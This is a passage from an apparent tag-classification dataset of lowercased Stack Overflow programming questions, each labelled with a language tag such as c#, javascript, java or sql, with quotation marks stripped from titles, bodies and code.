//calcpaint function float calcpaint(float s) {       float galpaint;        galpaint = s / paint * 2;       return galpaint; } //calccost function float calccost(float p  float cp) {       return p * cp; } //display total function void displaytotals(float s  float p  flaot c) {      printf( \n\nsize of room in square feet: %.2f   s);      printf( \nnumber of gallons needed: %.2f   p);      printf( \ntotal cost to paint room: %.2f   c); } </code></pre>,c
c# hiding array of buttons/labels/textboxes  i created array of buttons/labels/textboxes/panels programatically. my question is how to hide those array after some event. is there a single line of command  like for example of myarray.sum() which give you the sum of values inside an array. i tried myarray.hide() but no command for this one. thanks.,c#
prevent a js script from execution from another script  i have two js scripts  s1 and s2  executing in this order. both are known but s1 can absolutely not be modified  moved or removed (third party masterpage). dev have full control on s2 however (custom made).    i would like to prevent s1 from executing  but i can only modify s2 (which is after s1) or create new s3 script between s1 and s2.    is that possible      i m not sure i m explaining it clearly :(,javascript
how do you convert numbers between different bases in javascript   i would like to convert numbers between different bases  such as hexadecimal and decimal.    <strong><em>example:</em></strong> how do you convert hexadecimal <code>8f</code> to decimal,javascript
programmatically change device orientation in iphone  i have navigation based app  when i click on any row in root view  the next view should come in landscape mode.     i am not able to find a proper way to implement this. what i tried is:   <pre><code>- (bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)interfaceorientation {        return uiinterfaceorientationislandscape(interfaceorientation); } </code></pre>   but this is not working. the view should open only in landscape mode (not when user rotate it). can any one help me. thanks,iphone
overload the $() function  can i overload the $() function <br> i want to implement such pattern $( $name ) where the string starts with  $  then i return my defined result. for example:   <pre><code>function getelementbyvarname(varname) {     //return something of my own }  var original$=$; $=function(param) {     if (typeof param ===  string  &amp;&amp; param.startswith( $ )) {         return getelementbyvarname(param.substring(1));     } else {         original$(param);     } } </code></pre>   what is the best way of doing so,jquery
api call with file attachment  my program will do a folder monitoring(source folder ) for any incoming new file  if there s any incoming new file  it s will detect the new file coming and move to another directory which is folder destination. before it s move to the destination folder  it s will check the file status to determine the completion of the file copy status. for my own testing purpose  i used copy and paste to the source folder. everything went good until the file being move to the destination folder my program will took the file from destination folder and send it via api call but i am getting this error message in my compiler <br><br>   <pre><code>the new file in source folder :pdf-sample.pdfevent :entry_create start checking the file copy status in copy processc:\user\source\pdf-sample.pdf (the process cannot access the file because it is being used by another process) in copy processc:\user\source\pdf-sample.pdf (the process cannot access the file because it is being used by another process) in copy processc:\user\source\pdf-sample.pdf (the process cannot access the file because it is being used by another process) in copy processc:\user\source\pdf-sample.pdf (the process cannot access the file because it is being used by another process) in copy processc:\user\source\pdf-sample.pdf (the process cannot access the file because it is being used by another process) in copy processc:\user\source\pdf-sample.pdf (the process cannot access the file because it is being used by another process) in copy processc:\user\source\pdf-sample.pdf (the process cannot access the file because it is being used by another process) in copy processc:\user\source\pdf-sample.pdf (the process cannot access the file because it is being used by another process) finish copy  file size :7945  file name :pdf-sample.pdf start to copy file to destination folder completed file size in destination folder:7945 file name in destination folder:pdf-sample.pdf file dir :c://rest api//destination//pdf-sample.pdf exception in thread  main  java.lang.nosuchmethoderror: org.apache.james.mime4j.message.header.addfield(lorg/apache/james/mime4j/parser/field;)v     at org.apache.http.entity.mime.formbodypart.addfield(formbodypart.java:105)     at org.apache.http.entity.mime.formbodypart.generatecontentdisp(formbodypart.java:83)     at org.apache.http.entity.mime.formbodypart.&lt;init&gt;(formbodypart.java:64)     at org.apache.http.entity.mime.multipartentitybuilder.addpart(multipartentitybuilder.java:116)     at filestatus.filestatus.pass(filestatus.java:252)     at filestatus.filestatus.main(filestatus.java:81)  </code></pre>   <br><br> here is my code for moving the file to destination folder  the following code will check the status of file(in progress of copy or finish copy)  the <strong>pass()</strong> method will pass the file name and file size for indicate which file that need to send into the server via api call   <pre><code>                while(true)                     {                         file file = new file(filepath);                         if ( file.exists())                         {                             randomaccessfile statuscheck = null;                                 try                                  {                                     statuscheck = new randomaccessfile(file  r );                                     if(statuscheck != null)                                     {                                         long filebyte = file.length();                                         string filename = file.getname();                                         system.out.println( finish copy );                                         system.out.println( \nfile size : +filebyte);                                         system.out.println( \nfile name : +filename);                                         statuscheck.close();                                         path source = paths.get(filepath);                                         path destination = paths.get( c://rest api//destination );                                        system.out.println( start to copy file to destination folder );                                        files.move(source  destination.resolve(source.getfilename()));                                        system.out.println( completed );                                        filestatus fs = new filestatus();   //line 80                                        fs.pass(filebyte  filename);                                     }                                     break;                                 }                                 catch(exception e)                                 {                                     system.out.println( in copy process  + e.getmessage());                                  }                                }                    } </code></pre>   <br><br> this is my code for the <strong>pass()</strong> method <br><br>   <pre><code>private void pass(long filesize  string filename)      {         {              string dir =  c://rest api//destination// ;              string finalfile = dir.concat(filename);              system.out.println( file size :  +filesize);              system.out.println( file name :  +filename);              system.out.println( file dir :  +finalfile);               httpclient client = new defaulthttpclient();                 httppost post = new httppost( http://192.168.0.27:8008/file );  //remote api url                  filebody bin = new filebody(new file(finalfile));  // take the file from directory              //    arraylist arrlist = new arraylist(1);             //    arrlist.add(new basicnamevaluepair(bin));                  httpentity reqentity = multipartentitybuilder.create()  // build require argument                             .addpart( file  bin)                            .build();                  post.addheader( filename   finalfile);                   post.setentity(reqentity);  // send via post method                  httpresponse response = null; </code></pre>   <br><br> from the error message in my compiler  it s show that the line 81 and 252 having problem which is <strong>httpentity</strong> and <strong>pass()</strong> method parameter. anyone know what is my mistake  i had included httpmine 4.3.6 jar but it s also not working,java
c# program to crash system to halt instantly (for system recoverability testing)  simulating serious hardware error  i need to run tests on system recoverability which includes suddenly crashing a system <em>without warning</em> ( hard crash   no shutdown workaround).     i m looking for something as close as possible to a serious hardware error that just fully crashes the system (blue screen halt or worse  e.g .sudden reboot similar to non-recoverable memory/cpu errors).    how could i do something like this in c# (probably unmanaged code ),c#
ios attributed string is not aligned right  i am developing an app in which i have align some part of text to left and other part to right on same line     below is my code:   <pre><code>    //text is  abc\n      nsstring *dateandtext = [text stringbyappendingstring:[nsstring stringwithformat:@  %@  strdate]];         dateandtext = [dateandtext stringbyreplacingoccurrencesofstring:@ \n  withstring:@   ];          cgsize size = [dateandtext sizewithfont:font constrainedtosize:cgsizemake(220  9999) linebreakmode:nslinebreakbywordwrapping];          uilabel *label = [[uilabel alloc] initwithframe:cgrectmake(0  0  size.width  size.height)];         label.numberoflines = 0;         label.linebreakmode = nslinebreakbywordwrapping;         label.textalignment = nstextalignmentleft;       nsrange range = [dateandtext rangeofstring:[dateandtext substringfromindex:text.length]];         nsmutableattributedstring *string = [[nsmutableattributedstring alloc] initwithstring:dateandtext];         [string addattribute:nsfontattributename value:[uifont italicsystemfontofsize:10.0 ] range:nsmakerange(range.location range.length)];          nsmutableparagraphstyle *paragraphstyle = [[nsmutableparagraphstyle alloc]init] ;         [paragraphstyle setalignment:nstextalignmentright];          [string addattribute:nsparagraphstyleattributename value:paragraphstyle range:nsmakerange(range.location range.length)]; label.attributedtext = string; </code></pre>   attributed string is not aligning right on same line. please someone help me if i am wrong anywhere in my code    output should be as below image <img src= https://i.stack.imgur.com/ujfkx.png  alt= output should be in this format >,ios
findig duplicate elements in an array  not working  hi friends i have this array and i am trying to find out how many elements are duplicate and what are the remaining elements. but the problem it is showing different result. please check it   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  #define size 30  int const arr_1[size] = {3 4 3 7 4 90 45 23 57 68 23 14 57                     34 20 39 18 3 2 23 45 67 89 68 12 34 56 78 3                    };    int main() {    int i j yes=0  no=0;    for(i=0;i&lt;size;i++)   {      for(j=0; j&lt;size; j++)      {         if(arr_1[i] == arr_1[j])                yes++;           else              no++;          }    }    printf( temp: %d\t not: %d\n  yes no);    system( pause );   return 0; } </code></pre>,c
how to define child views in gallery via xml  typical application of a gallery view component is like setting up a listview + arrayadapter workflow. is there any way to side-step this overhead by declaratively define a gallery via xml    <pre><code>&lt;gallery&gt;     &lt;textview text= screen 1 - swipe to next screen /&gt;     &lt;textview text= screen 2 - swipe to prev screen /&gt; &lt;/gallery&gt; </code></pre>   if this is not the case  what would it take to work,android
how to set badges on app icon when app is in minimize mode   when application is in minimize state and at the same time notifications come then badges should be see on  app icon.,objective-c
how to install juiceui for a vs solution (asp.net)   the problem is i cant install <a href= http://juiceui.com/  rel= nofollow >juiceui</a> for a vs solution.    my actions:    1) create a new webapplication with visual studio 2010. 2) install juiceui thru nudget. 3) after that i find the following string in the web.config:   <pre><code>    &lt;pages&gt;       &lt;controls&gt; ...         &lt;add assembly= juiceui  namespace= juice  tagprefix= juice  /&gt;       &lt;/controls&gt;     &lt;/pages&gt; </code></pre>   4) but  juice  doesn t work. i guess it s because of missing juice.dll in the bin folder or something like that.     but where can i find this dll and why it s not copied automatically     thank you!,asp.net
commented out line cancels all proceeding styles in css file  this is a weird question  but what is the reasoning behind it  take this block of css for example:   <pre><code>.test {     background: #cccccc;     width: 200px;     height: 200px;     display: block; } // wot  .derp {color:#ff0000;} </code></pre>   this will <strong>not</strong> apply the <code>.derp</code> styling to the document - <a href= http://jsfiddle.net/44z18dfa/  rel= nofollow ><strong>jsfiddle example</strong></a>    now why would this be happening  i ve read the <a href= https://developer.mozilla.org/en-us/docs/web/css/comments  rel= nofollow >docs</a> in relation to comments which state <em> you should use </em> <code>/*comment here*/</code> for single and multi-line comments  but why would we be able to comment out other stuff in css then  (<em>within <code>{}</code></em>) like so:   <pre><code>.class {     //background: #ff0000; } </code></pre>   just for completeness  sake  here s a <a href= http://jsfiddle.net/44z18dfa/1/  rel= nofollow ><strong>jsfiddle example</strong></a> of the css being applied when the comment is removed.   <hr>   i m asking this is because i just did something like this and it didn t throw any errors in the console or anything like that so i was just wondering what causes this and is it general practice as such,css
how can i exchange the first and last characters of a string in java   i am practicing over the summer to try and get better and i am a little stuck on the following:    <a href= http://www.javabat.com/prob/p123384  rel= noreferrer >http://www.javabat.com/prob/p123384</a>   <blockquote>    given a string  return a new string where the first and last chars have been exchanged.   </blockquote>  <hr>  <h3>examples:</h3>  <pre><code>frontback( code ) →  eodc  frontback( a ) →  a  frontback( ab ) →  ba  </code></pre>  <hr>  <h3>code:</h3>  <pre><code>public string frontback(string str)  {     string astring =   ;      if (str.length() == 0){         return   ;     }      char beginning = str.charat(0);     char end = str.charat(str.length() - 1);      str.replace(beginning  end);     str.replace(end  beginning);      return str; } </code></pre>,java
how to print a footer that works on multiple pages without overlapping page content  <pre><code>thead { display: table-header-group; } - it s working in chrome tfoot { display: table-footer-group; } - it s not working in chrome </code></pre>   how to solve this problem in chrome,.net
dot net character literals  i remember a long time ago when i was working with characters in .net.  the value taken from the sql database (char field) was stored in a dot net char variable as:  a&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  (a series of blank spaces after the character).  this bug in my application caused problems.    can anyone explain when this happens as i cannot seem to recreate the behaviour and i want to avoid bugs in the application i am working on.,.net
how to use smart pointer   in the following example i m using a pointer <code>mysession</code> to a struct <code>openstacksession</code> in the class <code>openstack</code> and i m filling and using it over two different methods by allocating and deallocating the memory manually. how is it possible to do the same thing as i m doing here just by using a smart pointer  i don t know how to work with smart pointer at all. please show it by changing the code where you use a smartpointer.  thank you.    please note: i have to do this with out using the namespace std and library string. i don t whether it s important for smart pointer  but i thought it s worth informing.   <pre><code>#include &lt;string.h&gt; #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  struct openstacksession {     int limit;     char prefix[256];     char marker[256];     char delimiter[256];     char format[256];     char path[256]; };  class openstack {  public:     openstacksession* mysession;     void requestbegin(const char*);     void requestpayload(); };  void openstack::requestbegin(const char* url) {     mysession=new openstacksession();     char urlcopy[2000];     strcpy(urlcopy url);     urlcopy[strlen(url)]= \0 ;     char* questionmarkpointer=strchr(urlcopy    );     int questionmarkposition=questionmarkpointer-urlcopy;     char query[2000];     strncpy(query urlcopy+questionmarkposition+1 strlen(urlcopy)-questionmarkposition-1);     query[strlen(urlcopy)-questionmarkposition-1]= \0 ;     int lenforeqsign=0;     int plusandsignposition=0;     int andsignposition=0;     bool check=true;     while(check == true)     {          char* equalsignpointer=strchr(query+plusandsignposition  = );         int lenforeqsign=equalsignpointer-query;         char* andsignpointer=strchr(query+plusandsignposition  &amp; );         if(andsignpointer!=null)         {             andsignposition=andsignpointer-query;         }         else         {             andsignposition = strlen(query);             check=false;         }         if(strncmp(query+plusandsignposition  limit  5) == 0)         {             char temp[256];             strncpy(temp query+lenforeqsign+1 andsignposition-lenforeqsign-1);             temp[andsignposition-lenforeqsign-1]= \0 ;             mysession-&gt;limit=atoi(temp);         }         else if(strncmp(query+plusandsignposition  prefix  6) == 0)         {             strncpy(mysession-&gt;prefix query+lenforeqsign+1 andsignposition-lenforeqsign-1);             mysession-&gt;prefix[andsignposition-lenforeqsign-1]= \0 ;         }         else if(strncmp(query+plusandsignposition  marker  6) == 0)         {              strncpy(mysession-&gt;marker query+lenforeqsign+1 andsignposition-lenforeqsign-1);             mysession-&gt;marker[andsignposition-lenforeqsign-1]= \0 ;         }         else if(strncmp(query+plusandsignposition  delimiter  9) == 0)         {              strncpy(mysession-&gt;delimiter query+lenforeqsign+1 andsignposition-lenforeqsign-1);             mysession-&gt;delimiter[andsignposition-lenforeqsign-1]= \0 ;         }         else if(strncmp(query+plusandsignposition  path  4) == 0)         {             strncpy(mysession-&gt;path query+lenforeqsign+1 andsignposition-lenforeqsign-1);             mysession-&gt;path[andsignposition-lenforeqsign-1]= \0 ;             }         else if(strncmp(query+plusandsignposition  format  6) == 0)         {             strncpy(mysession-&gt;format query+lenforeqsign+1 andsignposition-lenforeqsign-1);             mysession-&gt;format[andsignposition-lenforeqsign-1]= \0 ;           }         plusandsignposition=andsignposition+1;       } }  void openstack::requestpayload() {     printf( limit %d\n  mysession-&gt;limit);     printf( prefix %s\n  mysession-&gt;prefix);     printf( marker %s\n  mysession-&gt;marker);     printf( delimiter %s\n  mysession-&gt;delimiter);     printf( path %s\n  mysession-&gt;path);     printf( format %s\n  mysession-&gt;format);     delete mysession; }  void main() {     const char* url= /v1/auth_abb52a71-fc76-489b-b56b-732b66bf50b1/images/a/plusandsignposition/c/andsignposition/e limit=100000&amp;prefix=this-is-prefixdelimiter&amp;marker={}marker&amp;path=/temp/path/marko/it&amp;delimiter=/delimiter&amp;format=xmlformat   ;     openstack open;     open.requestbegin(url);     open.requestpayload(); } </code></pre>,c++
there is any way to use angular ui-views - highlight module in order to highlight all words from array   there is any way to use angular ui-views  - highlight module in order to highlight all words from array     instead of:   <pre><code>&lt;p ng-bind-html=  hello there  how are you today  | highlight: how :casesensitive &gt;&lt;/p&gt; </code></pre>   i have now  i want to replace <code>highlight: how </code> in list of words i have in order to highlight all those words in the text.,angularjs
validation of viewstate mac failed - but only on occasion  i am getting validation of view state mac failing but only very very occasionally.    i am not in a web farm and can t recreate this.    are there any known factors that can make view state mac validation fail,asp.net
mysql can t login as root  reinstall doesnt work  i just installed mysql  but i think i did something wrong when changing root password. after the password change  i can t login as root anymore.    the error is :   <pre><code>mysql -uroot error 1524 (hy000): plugin  *81f5e21e35407d884a6cd4a731aebfb6af209e1b  is not loaded </code></pre>   i have tried to reinstall and delete everything  but after reinstall  still can t login. it seems that the user data remain intact. any idea how     additional note : if we login with command  mysql   although we have the mysql prompt  we can t do anything  we dont have right for anything.    thank a lot,mysql
undefined method when trying to load partial in infowindow googlemaps4rails  so i m using the googlemaps4rails gem and i m trying to edit the marker.infowindow. i want to put a partial inside the window when they click on marker.    this is what my posts controller looks like:    <pre><code>@hash = gmaps4rails.build_markers(@posts) do |posts  marker|       marker.lat posts.latitude       marker.lng posts.longitude       marker.infowindow render_to_string(:partial =&gt;  show   :locals =&gt; { :object =&gt; posts})       marker.picture({          url  =&gt;  http://maps.google.com/mapfiles/ms/micons/blue.png            width  =&gt; 32           height  =&gt; 32       }) end  </code></pre>   and my partial (_show.html.erb) looks like this:   <pre><code>&lt;p&gt;   &lt;strong&gt;latitude:&lt;/strong&gt;   &lt;%= @post.latitude %&gt; &lt;/p&gt;  &lt;p&gt;   &lt;strong&gt;longitude:&lt;/strong&gt;   &lt;%= @post.longitude %&gt; &lt;/p&gt;  &lt;p&gt;   &lt;strong&gt;address:&lt;/strong&gt;   &lt;%= @post.address %&gt; &lt;/p&gt;  &lt;p&gt;   &lt;strong&gt;description:&lt;/strong&gt;   &lt;%= @post.description %&gt; &lt;/p&gt; </code></pre>   the problem is  i get this error when i try to load the page:   <pre><code>undefined method `latitude  for nil:nilclass &lt;p&gt;   &lt;strong&gt;latitude:&lt;/strong&gt;   &lt;%= @post.latitude %&gt; &lt;/p&gt; </code></pre>   any suggestions  thanks!,ruby-on-rails
different domain redirect to different folder in root directory in hosting  i have hosting for my asp.net apps.<br> i have 3x aliases of domain:   <pre><code>example.com second.com superexample.com </code></pre>   i need to help with redirecting peoples in different applications.   <ul> <li>people from example.com will be redirected to root/example.com folder  where will be my asp.net application.</li> <li>people from second.com will be redirected to root/second.com folder  where will be my next asp.net application. </li> <li>etc.</li> </ul>   how to implement this <br> and what s about the seo <br> isn t it a problem for google to make this applications as different <br> and after redirecting will be links like this: example.com/products.aspx for example.com folder and second.com/products.aspx for second.com folder,asp.net
c : unexpected behaviour  wrong list returned   i m working on an assignement where i m asked to code some of unix s ls. the part i m having trouble with is the -r option.    some context : i m using a structure containing 2 lists  one for files and the other for directories that would be passed as arguments when running my ls. if there are no argument other than options  i create a dir node containing  . .    without the -r option  if there are files in the list  i pass a copy of it to the display function  then clear the files list. if there are none but there are directories  i open one  read and copy its content to the files list  free the current directory node  and proceed as with regular files list. this works just fine.    with the -r option  though  i do the exact same thing  but when reading a directory  if there is a sub directory in it  i add the latter to the directory list. in theory this should work just fine and prevent the use of recursivity  but for some reason the list returned to be displayed only contains directories  no files. and this problem seems to only appear when there s no argument other than options... here s the code :   <pre><code>t_list          *ft_output_bigr(t_input *input) {     t_list          *dir_content;     dir             *dir_stream;     struct dirent   *buf;      if (!input-&gt;files-&gt;content &amp;&amp; !input-&gt;dir-&gt;content)             return (null);     if (input-&gt;files-&gt;content)             return (ft_lstcpy_and_del(input-&gt;files));     dir_stream = opendir(input-&gt;dir-&gt;content);     ft_lstfreeone(&amp;input-&gt;dir  input-&gt;dir);     while ((buf = readdir(dir_stream)))     {             dir_content = ft_lstnew(buf-&gt;d_name  sizeof(buf-&gt;d_name));             ft_lstadd(&amp;input-&gt;files  dir_content);             if ((ft_is_dir(buf-&gt;d_name)) &amp;&amp; ft_strcmp(buf-&gt;d_name   . ) != 0                     &amp;&amp; ft_strcmp(buf-&gt;d_name   .. ) != 0)             {                     ft_lstadd(&amp;input-&gt;dir  dir_content);             }     }     closedir(dir_stream);     return (ft_lstcpy_and_del(input-&gt;files)); } </code></pre>   and here is the function that calls it  which handles options and display.   <pre><code>int             ft_process_input(t_input **input) {     t_list          *output;      while ((output = (ft_strchr((*input)-&gt;opt   r ))   ft_output_bigr(*input)             : ft_output(*input)))     {             output = (ft_strchr((*input)-&gt;opt   a ))   output                     : ft_rem_hidden(&amp;output);             output = (ft_strchr((*input)-&gt;opt   t ))   ft_t(&amp;output)                     : ft_parse(&amp;output);             output = (ft_strchr((*input)-&gt;opt   r ))   ft_lstrev(&amp;output) : output;             output = (ft_strchr((*input)-&gt;opt   l ))   ft_l(output) : output;             while (output)             {                     ft_putendl(output-&gt;content);                     ft_lstfreeone(&amp;output  output);             }     }     return (1); } </code></pre>   i checked the files list right before returning it  and it seems ok. but for some reason  once it s passed to process_input  bam  only directories left. so yeah  i m lost here. out of ideas to try... help   :d    edit : adding informations about behaviour. so i thought my list was ok before the return because i checked the first node and it was ok. silly me. the list is actually screwed before the return  which makes more sense at least. so what seems to be happening is the files and dir lists are mixed up somehow  and when i return input->files  input->dir is returned instead.  i m hinting at something along the line of both lists pointing to the same head (the head of the dir list) as i lstadd dir_content to both. i ll try to add a copy of dir_content or something  and be back with news.,c
sum of first 1000 prime numbers in c#  i am trying to get the sum of first 1000 prime numbers in c# but the code i am using is very slow  takes forever to compute and so far has not returned with a valid sum.    i am new at this and i was hoping any of you guys could have a look and help me make my code efficient and also let me know what i am doing wrong. also let me know if i am doing anything wrong with regard to the forum rules.    thanks in advance for your valuable time!   <pre><code>using system; using system.collections.generic; using system.linq; using system.text; using system.threading.tasks;  namespace consoleapplication3 {     class program     {         static void main(string[] args)         {             long sumofprime=0;              console.writeline( calculating sum of prime );              for (int i = 1  primecounter = 0; primecounter &lt;= 1000; ++i)             {                 if (!isprime(i))                  {                      continue;                  }                 else                  {                      primecounter = +1;                      sumofprime = +i;                  }             }              console.writeline(sumofprime);         }          static bool isprime(int number)         {             if (number == 1)              {                  return false;              }              if (number == 2)              {                  return true;              }              for (int i = 2; i &lt;= math.ceiling(math.sqrt(number)); ++i)             {                  if (number % i == 0)                  {                      return false;                  }              }              return true;         }     } }        </code></pre>,c#
sql conditional extraction  i need a sql query which allow me to extract the current value of a column if this column has not be modified since the add of the object.    or the last before the current value if the column was modified.     note that the current value is saved in a table a and the history of modification in table b    table a   <pre><code>id status other columns .... </code></pre>   table b   <pre><code>id items_id (which is the id of element in table a) modif_id (indicate which column was modified) old_value  new_value other columns.. </code></pre>   thanks in advance      imene.     for exemple  for table a    <pre><code>id  status  title   description user  1   closed  help    need help for configuring apache    ibh  2   solved  dsl dsl is down ibh  3   assign  hardware    need new network cards  ibh </code></pre>   for table b   <pre><code>id  items_id    modif_id    date_mod    old_value   new value 1   1   1   12-02-2014  assign  solved  2   1   1   15-02-2014  solved  closed  3   3   1   20-02-2014  new assign  3   3   4   21-02-2014  hard    hardware </code></pre>   all modif where the modif_id!=1 are ignored.     for each element id (table a)  we extract the current status if the status dosen’t change or the last before the current value if the status is changed one or more time.                                the expected result is:    <pre><code>id  status  1   solved  2   solved  3   new </code></pre>,sql
can css automatically add text   if you check the form at this link  you ll see that required fields have a <code>class= required </code> in the css and a <code>*</code> in the markup.     <a href= http://drupal.org/user  rel= nofollow noreferrer >http://drupal.org/user</a>    can the <code>*</code> which shows in the markup be added entirely with css for divs that have this class,css
how can you obtain the os s argv[0] (not sys.argv[0]) in python   i want to obtain the true value of the operating system s argv[0] in a python program. python s sys.argv[0] is not this value: it is the name of the python script being executed (with some exceptions). what i want is a foo.py that will print  somestring  when executed as   <pre><code>exec -a  somestring  python foo.py </code></pre>   the trivial program   <pre><code>#! /usr/bin/env python import sys print sys.argv[0] </code></pre>   will print  foo.py  instead.    does anyone know how to obtain this  there are some related functions in the python c api: e.g. py_getprogramname. but this doesn t seem to be exposed to the python world anywhere. py_getprogramfullpath works off of argv[0] but munges it try to obtain a path to a python interpreter. (this value is propagated to sys.executable  so that variable isn t right either.) do i really have to write a c module to get this value     <strong>edit:</strong> also asked (but not helpfully answered) <a href= http://bytes.com/topic/python/answers/24340-getting-real-argv-0-python  rel= nofollow  title= here >here</a>.,python
request for member view in something not in a structure or union  <pre><code>uibutton *playbutton = [[uibutton buttonwithtype:uibuttontyperoundedrect]; playbutton.frame = cgrectmake(110.0  360.0  100.0  30.0); [playbutton settitle:@ play  forstate:uicontrolstatenormal]; playbutton.backgroundcolor = [uicolor clearcolor]; [playbutton settitlecolor:[uicolor whitecolor] forstate:uicontrolstatenormal ]; uiimage *buttonimagenormal = [uiimage imagenamed:@ bluebutton.png ]; uiimage *strechablebuttonimagenormal = [buttonimagenormal stretchableimagewithleftcapwidth:12 topcapheight:0]; [playbutton setbackgroundimage:strechablebuttonimagenormal forstate:uicontrolstatenormal]; uiimage *buttonimagepressed = [uiimage imagenamed:@ whitebutton.png ]; uiimage *strechablebuttonimagepressed = [buttonimagepressed stretchableimagewithleftcapwidth:12 topcapheight:0]; [playbutton setbackgroundimage:strechablebuttonimagepressed forstate:uicontrolstatehighlighted]; [playbutton addtarget:self action:@selector(playaction:) forcontrolevents:uicontroleventtouchupinside]; **//[self.view addsubview:playbutton];** </code></pre>,iphone
quickest way to check whether or not file exists  the way i m using just involves trying to fopen() the file to be checked    <pre><code>/* --- does file exist    --- */ char    fname[999] =  whatever ;        /* constructed during execution */ file    *fp = null;                     /* try to fopen(fname  r ) */ int     isfilefound = 0;                /* set true if fopen() succeeds */ if ( (fp = fopen(fname  r ))            /* try to fopen() for read */ !=    null ) {                          /* succeeded */   isfilefound = 1;                      /* set file found flag */   fclose(fp); }                         /* and just close the file */ </code></pre>   is there a quicker  less resource-intensive  way ... a specific way for unix/linux  a windows way  and preferably  a portable posix-compliant way (as above presumably is)  it s being done lots (1000 s) of times  so i d prefer not to be unnecessarily opening and closing files for no good reason.    <strong>-----------------------------------------------------------------</strong><br> <strong>edit</strong> okay  based on answers below  i put together the following little function intended to check whether or not file (already:) exists in a posix windows other portable way...   <pre><code>/* ==========================================================================  * function:    isfilexists ( path )  * purpose:     check whether file at path exists  * --------------------------------------------------------------------------  * arguments:   path (i)        pointer to null-terminated char string  *                              containing  path/filename.ext  of  *                              file whose existence is to be determined  *                              (path is relative to pwd unless explicitly  *                              absolute by initial  /  or other syntax)  * --------------------------------------------------------------------------  * returns:     ( int )         1 if file at path exists  or 0 if not  * --------------------------------------------------------------------------  * notes:       o conditional compiles for various systems   *                depending on whether posix or windows is #define ed...  *              o ...method used:  *                1: use access() on posix systems   *                2: pathfileexists() on windows systems   *                3: fopen() on any other systems.  * ======================================================================= */ /* --- entry point --- */ int     isfilexists ( char *path ) { /* ---  * allocations and declarations  * ------------------------------- */ int     isexists = 0;                   /* set true if file at path exists */ file    *fp = null;                     /* fopen() for non-posix windows */ #define posix                           /* just for testing */ /* ---  * determine whether file at path already exists  * ------------------------------------------------ */ #if defined(posix)                      /* posix-compliant system... */   #include &lt;unistd.h&gt;   if ( access(path f_ok) == 0 )         /* file at path exists */     isexists = 1;                       /* so set file exists flag */ #else   #if defined(windows)                  /* windows system... */     isexists = pathfileexists(path);    /* set flag if file at path exists */   #else     /* --- fopen() for any other non-posix  non-windows system --- */     if ( (fp = fopen(path  r ))         /* try to fopen() for read */     != null ) {                         /* succeeded */       isexists = 1;                     /* set file exists flag */       fclose(fp); }                     /* and just close the file */   #endif #endif return ( isexists );    /* back to caller with 1 if file at path exists */ } /* --- end-of-function isfilexists() --- */ </code></pre>   the access() and fopen() methods tested and work okay. unable to test pathfileexists() for windows. and i still want to figure out what #define ed symbols to automatically and unambiguously check for conditional compiles.,c
android textview wrap custom view  i have <code>textview</code> and custom view called <code>starrating</code>.    there is code snippet:   <pre><code>&lt;relativelayout     android:id= @+id/flowtextview      android:layout_width= match_parent      android:layout_height= wrap_content &gt;      &lt;com.app.views.starrating         android:id= @+id/star_rating          android:layout_width= wrap_content          android:layout_height= wrap_content  /&gt;      &lt;textview         android:id= @+id/label          android:layout_width= wrap_content          android:layout_height= wrap_content          android:layout_marginleft= @dimen/_2sdp          android:text= by legacy reviewer  april 11  2014 from chicago il          android:textsize= 12sp          android:layout_alignparenttop= true          android:layout_toendof= @+id/star_rating  /&gt; &lt;/relativelayout&gt; </code></pre>   actual result: <a href= https://i.stack.imgur.com/ntigl.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ntigl.png  alt= enter image description here ></a>    expected result:    <a href= https://i.stack.imgur.com/tj00e.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/tj00e.png  alt= enter image description here ></a>    the problem is that <code>textview</code> is not wrapping the <code>starrating</code>...    how can i do that,android
php references - the &  why is it that the <strong>&amp;</strong> is attached to the parameter name in the function header  not - as would logically be expected - the variable in the calling scope     for example:   <pre><code>&lt; php  function func(&amp;$par) {     $par++; }  $var=1; func($var); print $var;   //prints 2   &gt; </code></pre>   the same is witnessed inside the parenthesis for foreach where you write ($array as <strong>&amp;</strong>$value)  not (<strong>&amp;</strong>$array as $value),php
joining two tables based on two common columns that appear under different names in each table  here is an example of the tables :    <strong>clients</strong>   <pre><code>╔══════════╦════════════╗ ║ group_id ║ group_name ║ ╠══════════╬════════════╣ ║ abc      ║ xex        ║ ║ def      ║ tet        ║ ╚══════════╩════════════╝  </code></pre>   <strong>teams</strong>   <pre><code>╔════════╦════════════╗ ║ act_id ║ group_name ║ ╠════════╬════════════╣ ║     44 ║ xex        ║ ║     32 ║ tet        ║ ╚════════╩════════════╝ </code></pre>   <strong>actions</strong>   <pre><code>╔════╦════════════╗ ║ id ║   state    ║ ╠════╬════════════╣ ║ 44 ║ complete   ║ ║ 58 ║ incomplete ║ ╚════╩════════════╝   </code></pre>   note that <code>act_id</code> in table <code>teams</code> is also present in table <code>actions</code> as <code>id</code>    i want to select a table with two columns : <code>group_id</code> and <code>group_name</code>  where each <code>group_name</code> has an <code>act_id</code> that has a <em>complete</em> <code>state</code>.    i m doing something like :   <pre><code>select group_id and group_name  from clients where group_name in (select group_name                        from teams  actions                      where teams.act_id = actions.id                         and actions.state is complete) </code></pre>   is this correct      i also thought of something like   <pre><code>select group_id and group_name  from clients where group_name in (select group_name                       from teams                      where act_id in (select id                                        from actions                                       where teams.act_id = actions.id.                                          and state is complete)) </code></pre>   is either of the above correct     the table i m looking to get is obviously this one :   <pre><code>╔══════════╦════════════╗ ║ group_id ║ group_name ║ ╠══════════╬════════════╣ ║ abc      ║ xex        ║ ╚══════════╩════════════╝ </code></pre>,sql
how to get the public key in string format of a ssl certificate in ios  i can get the public key of ssl certificate using sectrustcopypublickey. but how can get the public key in string format,ios
concatenate a javascript function and a string  i am trying to concatenate the result returned by a function to a simple string  both are declared inside the same object. example:   <pre><code>var hello = {   how: function(){     return   are you ;   }      ans:  how       answer:  how  + this.how()  };  console.log(hello.how()); //works console.log(hello.ans); //works console.log(hello.answer); //doesnt work </code></pre>   here is the <a href= https://jsfiddle.net/o2jrr2bj/1/  rel= nofollow noreferrer >fiddle</a>    thanks for your help!,javascript
